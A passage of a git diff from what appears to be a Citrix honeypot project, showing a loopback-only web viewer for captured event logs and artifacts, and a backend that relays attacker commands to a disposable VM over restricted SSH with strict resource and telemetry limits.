ipaddress +import json +import os +import pathlib +import re +import threading +import time +import urllib.parse + +from env_file import load, env_int + +PAGE = r''' + +CitrixPot analyst console + +
+

CitrixPot

+ + + + + + + + +page 1 + + + +
+
+
time (UTC)eventpeersummary
+

Select an event

+

Payload

no payload in this event
+

Raw event

-
+
+''' + + +def reverse_lines(path, block=1 << 20): + """Yield file lines newest-first without loading the whole file.""" + with path.open('rb') as stream: + stream.seek(0, 2) + position = stream.tell() + tail = b'' + while position > 0: + size = min(block, position) + position -= size + stream.seek(position) + lines = (stream.read(size) + tail).split(b'\n') + tail = lines[0] + for line in reversed(lines[1:]): + if line: + yield line + if tail.strip(): + yield tail + + +def artifact_path(artifact_dir, sha): + if not re.fullmatch(r'[0-9a-f]{64}', sha or ''): + return None + path = artifact_dir / (sha + '.bin') + return path if path.is_file() else None + + +class Handler(http.server.BaseHTTPRequestHandler): + server_version = 'CitrixPotViewer' + sys_version = '' + protocol_version = 'HTTP/1.1' + + def log_message(self, *args): + pass + + def send(self, code, content, mime='application/octet-stream', extra=()): + self.send_response(code) + self.send_header('Content-Type', mime) + self.send_header('Content-Length', str(len(content))) + self.send_header('X-Content-Type-Options', 'nosniff') + self.send_header('Cache-Control', 'no-store') + for key, value in extra: + self.send_header(key, value) + self.end_headers() + if self.command != 'HEAD': + self.wfile.write(content) + + def do_GET(self): + url = urllib.parse.urlsplit(self.path) + query = urllib.parse.parse_qs(url.query) + if url.path == '/': + return self.send(200, PAGE.encode(), 'text/html; charset=utf-8') + if url.path == '/api/events': + return self.events(query) + if url.path.startswith('/api/artifact/'): + return self.artifact(url.path.rsplit('/', 1)[-1], query) + self.send(404, b'not found', 'text/plain; charset=utf-8') + + def do_HEAD(self): + self.do_GET() + + @staticmethod + def one(query, name, default=''): + return query.get(name, [default])[0] + + def events(self, query): + try: + size = min(max(int(self.one(query, 'size', '100')), 1), 500) + except ValueError: + size = 100 + try: + page = max(int(self.one(query, 'page', '0')), 0) + except ValueError: + page = 0 + terms = [term for term in (self.one(query, 'q') or '').lower().split() if term] + kind = self.one(query, 'event') + peer = (self.one(query, 'peer') or '').lower() + payload_only = self.one(query, 'payload', '0') == '1' + hidden = getattr(self.server, 'hide_ips', set()) if self.one(query, 'hide', '1') != '0' else set() + need = (page + 1) * size + rows, scanned = [], 0 + path = self.server.journal + if path.is_file(): + # ponytail: reverse scan is bounded by page depth, not file size, for unfiltered paging; + # add a sqlite FTS index only if filtered deep paging on multi-GB journals gets slow. + for raw in reverse_lines(path): + scanned += 1 + line = raw.decode('utf-8', 'replace') + low = line.lower() + if any(term not in low for term in terms): + continue + try: + row = json.loads(line) + except ValueError: + continue + if kind and row.get('event') != kind: + continue + if row.get('peer') in hidden: + continue + if peer and peer not in str(row.get('peer', '')).lower(): + continue + if payload_only and not row.get('evidence'): + continue + rows.append(row) + if len(rows) >= need: + break + page_rows = rows[page * size:(page + 1) * size] + body = json.dumps({'events': page_rows, 'scanned': scanned, 'page': page, 'size': size, + 'has_more': len(rows) >= need, 'hidden': len(hidden)}, ensure_ascii=True).encode() + self.send(200, body, 'application/json', (('Content-Disposition', 'inline'),)) + + def artifact(self, sha, query): + path = artifact_path(self.server.artifacts, sha) + if path is None: + return self.send(404, b'not found', 'text/plain; charset=utf-8') + data = path.read_bytes() + if self.one(query, 'inline', '0') == '1': + return self.send(200, data, 'application/octet-stream') + self.send(200, data, 'application/octet-stream', + (('Content-Disposition', f'attachment; filename="{sha}.bin"'),)) + + +def main(): + load() + parser = argparse.ArgumentParser(description=__doc__) + parser.add_argument('--log-dir', default=os.environ.get('VIEWER_LOG_DIR', str(pathlib.Path(__file__).parent / 'logs'))) + parser.add_argument('--bind', default=os.environ.get('VIEWER_BIND', '127.0.0.1')) + parser.add_argument('--port', type=int, default=env_int('VIEWER_PORT', 8787)) + parser.add_argument('--allow-non-loopback', action='store_true', + help='required to bind anything other than a loopback address') + parser.add_argument('--hide-ip', action='append', metavar='IP', + default=[item.strip() for item in os.environ.get('VIEWER_HIDE_IP', '').split(',') if item.strip()], + help='extra client IP to hide (repeatable; VIEWER_HIDE_IP is comma-separated)') + parser.add_argument('--hide-ip-file', help='file with one hidden IP per line') + parser.add_argument('--no-hide-public-ip', action='store_true', + help="do not auto-detect and hide this host's public IP") + parser.add_argument('--hide-refresh', type=int, default=1800, + help='seconds between public-IP refreshes (default 1800)') + args = parser.parse_args() + try: + loopback = ipaddress.ip_address(args.bind).is_loopback + except ValueError: + loopback = args.bind == 'localhost' + if not loopback and not args.allow_non_loopback: + parser.error('refusing non-loopback bind without --allow-non-loopback') + directory = pathlib.Path(args.log_dir) + server = http.server.ThreadingHTTPServer((args.bind, args.port), Handler) + server.journal = directory / 'events.jsonl' + server.artifacts = directory / 'artifacts' + server.hide_ips = {ip for ip in args.hide_ip if ip} + + def hide_operator_traffic(): + from public_ip import discover + while True: + if args.hide_ip_file: + try: + server.hide_ips.update(line.strip() for line in + pathlib.Path(args.hide_ip_file).read_text().splitlines() if line.strip()) + except OSError: + pass + if not args.no_hide_public_ip: + ip = discover() + if ip: + server.hide_ips.add(ip) + time.sleep(args.hide_refresh) + + threading.Thread(target=hide_operator_traffic, daemon=True).start() + print(f'Evidence viewer: http://{args.bind}:{server.server_port}/ (read-only; {directory})', flush=True) + try: + server.serve_forever() + except KeyboardInterrupt: + pass + finally: + server.server_close() + + +if __name__ == '__main__': + main() diff --git a/vm_backend.py b/vm_backend.py new file mode 100644 index 0000000..73f54ab --- /dev/null +++ b/vm_backend.py @@ -0,0 +1,208 @@ +"""Bounded SSH transport to a disposable VM; attacker input never reaches a local shell.""" +import base64 +import collections +import ipaddress +import json +import os +import pathlib +import secrets +import subprocess +import tempfile +import threading +import time +from evidence import EvidenceError + +LIMIT = 16 * 1024 * 1024 +EVENTS = {'guest_http_file', 'guest_upload', 'guest_file_deleted', 'guest_file_version', + 'guest_file_capture_error', 'guest_process_start', 'guest_stdout', + 'guest_syscalls_stderr', 'guest_execution_limit', 'guest_process_end', 'guest_limit'} +FIELDS = {'guest_time_ns', 'path', 'size', 'mode', 'truncated', 'error', 'bytes', 'pid', + 'command', 'seconds', 'returncode', 'resource'} + + +class VMBackend: + def __init__(self, config, emit): + self.config = json.loads(pathlib.Path(config).read_text()) + self.emit, self.on_failure = emit, None + self.slots = threading.BoundedSemaphore(4) + self.io_slots = threading.BoundedSemaphore(4) + self.lock = threading.Lock() + self.active, self.threads, self.peers = set(), set(), collections.OrderedDict() + self.closed = False + host = str(ipaddress.ip_address(self.config['host'])) + port = int(self.config.get('port', 22)) + if not 1 <= port <= 65535: + raise ValueError('invalid SSH port') + self.peer_path = pathlib.Path(self.config.get('allowed_peers', '/var/lib/decoy/allowed-peers.json')) + self.stop_path = pathlib.Path(self.config.get('stop_file', '/var/lib/decoy/STOP')) + self.ssh = ['ssh', '-T', '-o', 'BatchMode=yes', '-o', 'ConnectTimeout=5', + '-o', 'ServerAliveInterval=10', '-o', 'ServerAliveCountMax=2', + '-o', 'StrictHostKeyChecking=yes', '-o', 'IdentitiesOnly=yes', + '-o', 'UserKnownHostsFile=' + self.config['known_hosts'], + '-i', self.config['identity'], '-p', str(port), + 'root@' + host, 'python3 /opt/decoy/guest.py'] + + def close(self, trip=False): + if trip: + # Broker independently watches this latch; never remove it automatically. + self.stop_path.parent.mkdir(mode=0o700, parents=True, exist_ok=True) + fd = os.open(self.stop_path, os.O_WRONLY | os.O_CREAT | os.O_NOFOLLOW, 0o600) + os.close(fd) + with self.lock: + self.closed = True + for proc in tuple(self.active): + try: + proc.kill() + except ProcessLookupError: + pass + + def fail(self, error): + try: + self.close(trip=True) + finally: + if self.on_failure: + self.on_failure(error) + + def register_peer(self, peer): + ip = ipaddress.ip_address(peer) + if ip.version != 4: + return # broker is IPv4 only + try: + with self.lock: + if self.closed or self.stop_path.exists(): + raise EvidenceError('VM capture stopped') + now = time.monotonic() + self.peers = collections.OrderedDict((k, v) for k, v in self.peers.items() if now - v < 3600) + self.peers.pop(str(ip), None) + self.peers[str(ip)] = now + while len(self.peers) > 128: + self.peers.popitem(last=False) + self.peer_path.parent.mkdir(mode=0o700, parents=True, exist_ok=True) + fd, name = tempfile.mkstemp(prefix='.peers-', dir=self.peer_path.parent) + try: + with os.fdopen(fd, 'w') as f: + json.dump(list(self.peers), f) + f.flush() + os.fsync(f.fileno()) + os.replace(name, self.peer_path) + finally: + if os.path.exists(name): + os.unlink(name) + except OSError as error: + failure = EvidenceError(str(error)) + self.fail(failure) + raise failure from error + + def records(self, request, context): + encoded = (json.dumps(request, separators=(',', ':')) + '\n').encode() + if len(encoded) > 4 * ((LIMIT + 2) // 3) + 131072: + raise ValueError('guest request limit') + with self.lock: + if self.closed or self.stop_path.exists(): + raise EvidenceError('VM capture stopped') + proc = subprocess.Popen(self.ssh, stdin=subprocess.PIPE, stdout=subprocess.PIPE, + stderr=subprocess.DEVNULL) + self.active.add(proc) + timer = threading.Timer(620 if request['action'] == 'execute' else 20, proc.kill) + timer.daemon = True + timer.start() + try: + proc.stdin.write(encoded) + proc.stdin.close() + total = 0 + for count in range(65536): + raw = proc.stdout.readline(24 * 1024 * 1024) + if not raw: + break + total += len(raw) + if not raw.endswith(b'\n') or total > 128 * 1024 * 1024: + raise ValueError('guest telemetry limit') + event = json.loads(raw) + if not isinstance(event, dict) or event.get('event') not in EVENTS: + raise ValueError('invalid guest event') + name = event['event'] + clean = {k: v for k, v in event.items() if k in FIELDS and + (v is None or type(v) in (str, int, bool))} + if any(isinstance(v, str) and len(v) > 65536 for v in clean.values()): + raise ValueError('guest field limit') + if 'base64' in event: + content = base64.b64decode(event['base64'], validate=True) + if len(content) > LIMIT: + raise ValueError('guest artifact limit') + clean['content'] = content + # The guest cannot supply or override event correlation or storage paths. + self.emit(name, **clean, **context, telemetry_trust='guest-reported', guest_shared=True) + yield clean + else: + raise ValueError('guest event count limit') + if proc.wait() != 0: + raise OSError('guest transport or command failed') + except EvidenceError as error: + self.fail(error) + raise + finally: + timer.cancel() + if proc.poll() is None: + proc.kill() + proc.wait() + proc.stdout.close() + try: + proc.stdin.close() + except OSError: + pass + with self.lock: + self.active.discard(proc) + + def execute(self, command, context): + if not self.slots.acquire(False): + self.emit('execution_rejected', **context, reason='VM concurrency limit') + return + context = dict(context, execution_id=secrets.token_hex(16)) + def run(): + try: + self.emit('execution_start', **context, command=command, vm=self.config['vmid'], guest_shared=True) + for _ in self.records(dict(action='execute', command=command), context): + pass + self.emit('execution_end', **context) + except EvidenceError as error: + self.fail(error) + except Exception as error: + try: + self.emit('execution_error', **context, error=str(error)) + except EvidenceError: + pass + self.fail(EvidenceError('execution telemetry lost: ' + str(error))) + finally: + self.slots.release() + with self.lock: + self.threads.discard(threading.current_thread()) + thread = threading.Thread(target=run, daemon=True) + with self.lock: + self.threads.add(thread) + thread.start() + + def io(self, request, context): + if not self.io_slots.acquire(False): + self.emit('guest_io_rejected', **context, action=request['action'], reason='concurrency limit') + return None + try: + result = None + for event in self.records(request, context): + if 'content' in event: + result = event['content'] + return result + except EvidenceError: + raise + except (OSError, ValueError, TypeError) as error: + self.emit('guest_io_error', **context, action=request['action'], error=str(error)) + return None + finally: + self.io_slots.release() + + def upload(self, payload, context): + if len(payload) > LIMIT: + raise ValueError('upload limit') + return self.io(dict(action='upload', base64=base64.b64encode(payload).decode()), context) + + def read(self, path, context): + return self.io(dict(action='read', path=path), context)